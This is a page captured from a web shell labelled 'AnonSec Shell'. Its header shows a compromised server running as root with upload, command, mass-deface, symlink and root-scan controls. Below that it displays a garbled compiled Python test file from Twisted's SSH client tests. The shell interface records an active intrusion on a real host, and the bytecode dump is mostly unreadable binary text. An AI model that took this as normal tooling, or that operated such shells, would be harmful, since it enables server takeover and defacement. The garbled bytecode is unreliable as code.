AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/conch/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/conch/test/__pycache__/test_default.cpython-310.pyc
o

�bD-�@s2dZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZdd
lmZddlmZdZd
Ze
d�rge
d�rgddlmZddlmZddlmZddlmZddlmZndZdZeZ e�!�rudZdZej"�#�s~dZdZej$�#�s�dZdZGdd�de�Z%Gdd�de�Z&dS)z,
Tests for L{twisted.conch.client.default}.
�N)�skipIf)�
ConchError)�keydata)�nativeString)�FilePath)�
requireModule)�platform)�StringTransport)�TestCaseF��cryptography�pyasn1)�default)�SSHAgentClient)�SSHUserAuthClient)�ConchOptions)�KeyTzBcryptography and PyASN1 required for twisted.conch.client.default.zlgenericAnswers and getPassword does not work on Windows. Should be fixed as part of fixing bug 6409 and 6410z#sys.stdin is not an interactive ttyz$sys.stdout is not an interactive ttyc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zee
e�dd��Zee
e�dd��Zee
e�dd��Zee
e�dd��ZdS)�SSHUserAuthClientTestszm
    Tests for L{SSHUserAuthClient}.

    @type rsaPublic: L{Key}
    @ivar rsaPublic: A public RSA key.
    cCsZt�tj�|_t|���|_|j��|j�	d�|_
|j
�tj�|j�	d��tj�dS)N�id_rsa�
id_rsa.pub)
r�
fromStringr�publicRSA_openssh�	rsaPublicr�mktemp�tmpdir�makedirs�child�rsaFile�
setContent�privateRSA_openssh��self�r"�A/usr/lib/python3/dist-packages/twisted/conch/test/test_default.py�setUp:s
zSSHUserAuthClientTests.setUpcCsftdt�d�}t�}t�}|�|�||_d}|�|j|�|�|�	�d|j�
�d|d�dS)z�
        When connected to an agent, L{SSHUserAuthClient} can use it to
        request signatures of particular data with a particular L{Key}.
        �userNs	Sign heres	-
s	s)rrrr	�makeConnection�keyAgent�signDatar�assertEqual�value�blob)r!�client�agent�	transport�	cleartextr"r"r#�test_signDataWithAgentBs&
�����z-SSHUserAuthClientTests.test_signDataWithAgentcCsJt�}|j��g|_|��}|�|���|�||j�|�|���dS)a
        L{SSHUserAuthClient} looks up public keys from the agent using the
        L{SSHAgentClient} class.  That L{SSHAgentClient.getPublicKey} returns a
        L{Key} object with one of the public keys in the agent.  If no more
        keys are present, it returns L{None}.
        N)	rrr+�blobs�getPublicKey�
assertTrue�isPublicr)�assertIsNone)r!r-�keyr"r"r#�test_agentGetPublicKeyWsz-SSHUserAuthClientTests.test_agentGetPublicKeycCsFt�}|jjg|_td|d�}|��}|�|���|�||j	�dS)z�
        L{SSHUserAuthClient.getPublicKey()} is able to get a public key from
        the first file described by its options' C{identitys} list, and return
        the corresponding public L{Key} object.
        r%N)
rr�path�	identitysrr2r3r4r)r)r!�optionsr,r6r"r"r#�test_getPublicKeyFromFileesz0SSHUserAuthClientTests.test_getPublicKeyFromFilecCsRt�}|jjg|_t�}td|d�}||_|��}|�|�	��|�
||j�dS)z�
        If an agent is present, but doesn't return a key,
        L{SSHUserAuthClient.getPublicKey} continue with the normal key lookup.
        r%N)rrr8r9rrr'r2r3r4r)r)r!r:r-r,r6r"r"r#�test_getPublicKeyAgentFallbackrsz5SSHUserAuthClientTests.test_getPublicKeyAgentFallbackcCs�t�}|j�d��tj�|j�d�}|�tj�|jj|jg|_	|j�d��d�t
d|d�}|��}|�|�
��|�|t�tj��|�|j|jj|jg�dS)z�
        If L{keys.Key.fromFile} raises a L{keys.BadKeyError}, the
        L{SSHUserAuthClient.getPublicKey} tries again to get a public key by
        calling itself recursively.
        z
id_dsa.pub�id_dsars
not a key!r%N)rrrrr�publicDSA_openssh�privateDSA_opensshrr8r9rr2r3r4r)rr�	usedFiles)r!r:�dsaFiler,r6r"r"r#�test_getPublicKeyBadKeyError�sz3SSHUserAuthClientTests.test_getPublicKeyBadKeyErrorcsNt�tj��t�}�jjg|_td|d�}|�	���fdd�}|�
��|�S)z�
        L{SSHUserAuthClient.getPrivateKey} will load a private key from the
        last used file populated by L{SSHUserAuthClient.getPublicKey}, and
        return a L{Deferred} which fires with the corresponding private L{Key}.
        r%Nc���|�����|��dS�N��assertFalser4r)�r6��
rsaPrivater!r"r#�_cbGetPrivateKey��zCSSHUserAuthClientTests.test_getPrivateKey.<locals>._cbGetPrivateKey)rrrrrrr8r9rr2�
getPrivateKey�addCallback)r!r:r,rJr"rHr#�test_getPrivateKey�sz)SSHUserAuthClientTests.test_getPrivateKeycs�t�tj��d��j��jd�d��t�}�jjg|_	t
d|d�}|����fdd�}��fdd	�}��|d
|�|�
��|�S)z�
        L{SSHUserAuthClient} can get a private key from a file, and return a
        Deferred called back with a private L{Key} object, even if the key is
        encrypted.
        sthis is the passphrase�openssh)�
passphraser%Ncs ��|d�jj�d��t��S)NzEnter passphrase for key 'z': )r)rr8r��prompt)rPr!r"r#�_getPassword�s�zISSHUserAuthClientTests.test_getPrivateKeyPassphrase.<locals>._getPasswordcrCrDrErGrHr"r#rJ�rKzMSSHUserAuthClientTests.test_getPrivateKeyPassphrase.<locals>._cbGetPrivateKeyrS)rrrrrr�toStringrr8r9rr2�patchrLrM)r!r:r,rSrJr")rPrIr!r#�test_getPrivateKeyPassphrase�sz3SSHUserAuthClientTests.test_getPrivateKeyPassphrasecs`Gdd�d�}t�}td|d�}|d�|_�fdd�}��tjd|�|��}|��jd	�|S)
zn
        Get the password using
        L{twisted.conch.client.default.SSHUserAuthClient.getPassword}
        c@seZdZdd�Zdd�ZdS)z>SSHUserAuthClientTests.test_getPassword.<locals>.FakeTransportcSs||_||_dSrD)r.�host)r!rWr"r"r#�__init__�s
zGSSHUserAuthClientTests.test_getPassword.<locals>.FakeTransport.__init__cSs|SrDr"r r"r"r#�getPeer�szFSSHUserAuthClientTests.test_getPassword.<locals>.FakeTransport.getPeerN)�__name__�
__module__�__qualname__rXrYr"r"r"r#�
FakeTransport�sr]r%Nz	127.0.0.1c���|d�dS)Nzuser@127.0.0.1's password: �bad password�r)rQr r"r#�getpass��z8SSHUserAuthClientTests.test_getPassword.<locals>.getpassra�bad password)	rrr.rUrra�getPasswordrMr))r!r]r:r,ra�dr"r r#�test_getPassword�s
z'SSHUserAuthClientTests.test_getPasswordcsPt�}td|d�}d���fdd�}��tjd|�|���}|��jd�|S)z�
        Get the password using
        L{twisted.conch.client.default.SSHUserAuthClient.getPassword}
        using a different prompt.
        r%NsGive up your passwordcs��|t���dS)Nr_)r)r)�p�rRr!r"r#ra�sz>SSHUserAuthClientTests.test_getPasswordPrompt.<locals>.getpassrarc)rrrUrrardrMr))r!r:r,rarer"rhr#�test_getPasswordPrompt�s
z-SSHUserAuthClientTests.test_getPasswordPromptcsht�}td|d�}dd�}��tjd|�tjtj��|�d�}|j	���fdd��}��
|t�dS)	z�
        Get the password using
        L{twisted.conch.client.default.SSHUserAuthClient.getPassword}
        and trigger a {twisted.conch.error import ConchError}.
        r%NcSstd��)NzUser pressed CTRL-C)�KeyboardInterruptrQr"r"r#ra�szBSSHUserAuthClientTests.test_getPasswordConchError.<locals>.getpassra�?cs����gtjtjg�|SrD)r)�sys�stdout�stdin)�fail�r!rnrmr"r#�	check_sysszDSSHUserAuthClientTests.test_getPasswordConchError.<locals>.check_sys)rrrUrrarlrmrnrd�
addErrback�
assertFailurer)r!r:r,rarerqr"rpr#�test_getPasswordConchError�s
z1SSHUserAuthClientTests.test_getPasswordConchErrorcspt�}td|d�}�fdd�}��tjd|��fdd�}��td|�|�d	d
ddg�}|��jdd
g�|S)zU
        L{twisted.conch.client.default.SSHUserAuthClient.getGenericAnswers}
        r%Ncr^)Nzpass promptrar`rQr r"r#rarbz>SSHUserAuthClientTests.test_getGenericAnswers.<locals>.getpassracr^)Nzraw_input prompt�	raw_inputr`rQr r"r#rurbz@SSHUserAuthClientTests.test_getGenericAnswers.<locals>.raw_input�_inputsNamesInstruction)spass promptF)sraw_input promptTru)rrrUrra�getGenericAnswersrM�assertListEqual)r!r:r,rarurer"r r#�test_getGenericAnswers	s�z-SSHUserAuthClientTests.test_getGenericAnswersN)rZr[r\�__doc__r$r0r7r;r<rBrNrVr�doSkip�
skipReasonrfrirtryr"r"r"r#r2s$



rc@s eZdZdZdd�Zdd�ZdS)�ConchOptionsParsingz
    Options parsing.
    cCs�t�}|�t|jd�}|�d|j�t�}|�d�|�|ddg�|�d�|�|ddg�|�d�|�|dgd��dS)	z)
        Specify MAC algorithms.
        zinvalid-maczUnknown mac typez
hmac-sha2-512�macss
hmac-sha2-512z hmac-sha2-256,hmac-sha1,hmac-md5)s
hmac-sha2-256s	hmac-sha1shmac-md5N)r�assertRaises�
SystemExit�opt_macs�assertIn�coder)�r!�opts�er"r"r#�	test_macs*�


zConchOptionsParsing.test_macscCs�t�}|�t|jd�}|�d|j�t�}|�d�|�|ddg�|�d�|�|ddg�|�d�|�|dddg�dS)	z.
        Specify host key algorithms.
        zinvalid-keyzUnknown host key typezssh-rsazhost-key-algorithmssssh-rsasssh-dsszssh-rsa,ssh-dssN)rrr��opt_host_key_algorithmsr�r�r)r�r"r"r#�test_host_key_algorithms9r�z,ConchOptionsParsing.test_host_key_algorithmsN)rZr[r\rzr�r�r"r"r"r#r}%sr})'rzrl�unittestr�twisted.conch.errorr�twisted.conch.testr�twisted.python.compatr�twisted.python.filepathr�twisted.python.reflectr�twisted.python.runtimer�twisted.test.proto_helpersr	�twisted.trial.unittestr
r{r|�twisted.conch.clientr�twisted.conch.client.agentr�twisted.conch.client.defaultr�twisted.conch.client.optionsr�twisted.conch.ssh.keysr�skip�	isWindowsrn�isattyrmrr}r"r"r"r#�<module>sF�

t

Anon7 - 2022
AnonSec Team